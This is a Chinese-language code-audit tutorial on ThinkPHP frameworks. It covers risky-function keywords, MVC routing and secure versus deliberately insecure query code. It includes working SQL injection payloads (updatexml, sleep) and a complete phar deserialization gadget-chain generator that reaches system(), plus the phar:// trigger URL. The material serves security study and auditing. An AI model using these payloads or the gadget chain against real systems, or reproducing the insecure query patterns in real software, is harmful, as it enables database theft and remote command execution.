代码审计-PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受

2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

PHP常见漏洞关键字:

bash 复制代码
SQL注入:
select insert update mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等 
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等

通用关键字:
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等

MVC不局限于语言,其他语言也都有。

MVC流程:

bash 复制代码
1、Controller截获用户发出的请求;
2、Controller调用Model完成状态的读写操作;
3、Controller把数据传递给View;
4、View渲染最终结果并呈献给用户。

MVC各层职能:

bash 复制代码
1、控制器Controller层--负责响应用户请求、准备数据,及决定如何展示数据。
2、模块Model层--管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层(过滤一般都在这里)
3、视图View层--负责前端模版渲染数据,通过HTML方式呈现给用户(一般都是html静态文件,也有少部分php)

MVC对审计主要影响:

bash 复制代码
1、文件代码定位问题
2、代码过滤分析问题(Model层会过滤)
3、前端安全发现问题

MVC开发审计入口常见方法:

bash 复制代码
搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等。
工具法:后续讲到
调试法:动态调试

框架审计总结方向:

1、版本不安全写法怎么检测

bash 复制代码
-本地复现版本写法对比(不是官方写法就是不安全写法)
-参考官方开发手册写法

2、版本自身的漏洞怎么检测

bash 复制代码
-平常多关注此类框架漏洞
https://github.com/hughink/Thinkphp-All-vuln
-配合黑盒工具检测找入口

3、版本自身的漏洞怎么利用

bash 复制代码
根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞

搭建环境:

bash 复制代码
ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件









5、参考开发手册学习如何开启调试模式

bash 复制代码
开启调试模式:/config/app.php
'app_debug'              => true,
'app_trace'              => true,


6、参考开发手册学习官方写法和不安全写法。

数据库查询操作





官方写法 预编译机制

bash 复制代码
public function login(Request $request)
{
    $id=$request->param('id');
    $data=Db::table('cw_admin')->where('id',$id)->find();
    return $data['user'].'|'.$data['pass'];
}


从代码中看并无任何过滤,但是实际并不存在SQL注入。这就是框架和原生不同的地方。

不安全写法 拼接写法

bash 复制代码
public function login1(Request $request)
{
    $id=$request->param('id');
    $data=Db::table('cw_admin')->where("id = $id")->find();
    return $data['user'].'|'.$data['pass'];
}

报错注入语句:

bash 复制代码
/index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23


不安全写法 纯原生开发

版本漏洞 反序列化phar

bash 复制代码
public function file_check(Request $request)
{

    $filename=$request->param('f');
    file_exists($filename); 
}


反序列化:

bash 复制代码
index.php/index/xiaodi/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

bash 复制代码
Phpstudy_Pro+PHP7.3+Apache+Mysql

1、查看版本-thinkphp/base.php(搜version找)

bash 复制代码
define('THINK_VERSION', '5.0.24');




2、找不安全写法-搜where找拼接&黑盒工具

bash 复制代码
文件:application/bbs/controller/User.php
bash 复制代码
方法:xiaoxidel
参数:ids id

先登录看下路由地址

3、application/bbs/controller/User.php(需要注册个用户才能触发)

bash 复制代码
index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
问题在where语句是直接拼接SQL-where("id ={$id}")
如改为数组的传参就能修复此处问题-where("id",$id) 

黑盒工具-入口不安全写法-SQL注入

bash 复制代码
文件:application/bbs/controller/User.php
方法:home
参数:ids id
/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql


1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

bash 复制代码
const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

https://www.freebuf.com/articles/web/345544.html

3、找利用点-搜实现关键字

bash 复制代码
Application/Admin/Controller/ArticleController.class.php
$data = M('Article')->find(I('id'));




4、Poc构造-利用数据库监控组合注入

bash 复制代码
/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#


四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql


1、查看版本-thinkphp/library/think/App.php(搜version找)

bash 复制代码
const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

bash 复制代码
109.php
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");
        public function get()
        {
            $this->data = array("smi1e" => "notepad");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    $phar = new Phar('x.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>


3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析



bash 复制代码
/admin.php/update/rmdirr.html?
dirname=phar://./public/upload/menubg/6543297dcccb9.png

实战当中需要前台注册一个用户上传jpg文件(把phar后缀改为png后缀)

相关推荐
梦中北山1 小时前
JWT安全分析
开发语言·网络·安全·web安全·php
pk_xz1234562 小时前
如何使用thinkPHP开发
运维·服务器·php
夜星辰20233 小时前
深入了解Linux中的udhcpc:动态主机配置协议客户端
linux·运维·php
苏呆仔4 小时前
如何使用PHP根据输入文字动态调整图片尺寸?
android·开发语言·php
板栗妖怪11 小时前
PHP中单引号双引号
php
c_zyer13 小时前
Kamailio-Web管理页面Siremis的安装与部署
前端·php·kamailio
罗政13 小时前
旅游系统(附管理端+前台)PHP源码
开发语言·php·旅游
苏呆仔15 小时前
如何在PHP中收集数据?
android·开发语言·php
我是高手高手高高手17 小时前
thinkphp6/8 验证码
php
亿牛云爬虫专家19 小时前
高效使用 Guzzle:POST 请求与请求体参数的最佳实践
网络爬虫·php·爬虫代理·异步·post·代理ip·guzzle